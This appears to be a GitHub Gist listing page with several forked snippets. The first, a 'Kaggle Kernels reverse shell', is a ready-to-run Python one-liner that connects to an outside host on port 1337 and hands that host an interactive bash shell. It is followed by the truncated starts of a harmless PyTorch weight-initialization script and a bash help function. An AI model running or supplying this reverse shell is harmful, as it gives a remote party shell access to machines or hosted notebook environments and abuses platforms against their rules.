Skip to content

Instantly share code, notes, and snippets.

@sparkwj
sparkwj / reverse_shell.py
Created March 27, 2022 03:02 — forked from mxbi/reverse_shell.py
Kaggle Kernels reverse shell
!echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vm.mxbi.net",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > shell.py
import subprocess
subprocess.Popen(["python", "shell.py"])
@sparkwj
sparkwj / weight_init.py
Created September 18, 2021 12:10 — forked from jeasinema/weight_init.py
A simple script for parameter initialization for PyTorch
#!/usr/bin/env python
# -*- coding:UTF-8 -*-
import torch
import torch.nn as nn
import torch.nn.init as init
def weight_init(m):
'''
#!/usr/bin/env bash
helpFunction()
{
echo ""
echo "Usage: $0 -a applicationName"
echo -e "\t-a Name of .app, without extension, in /Applications directory"
exit 1 # Exit script after printing help
}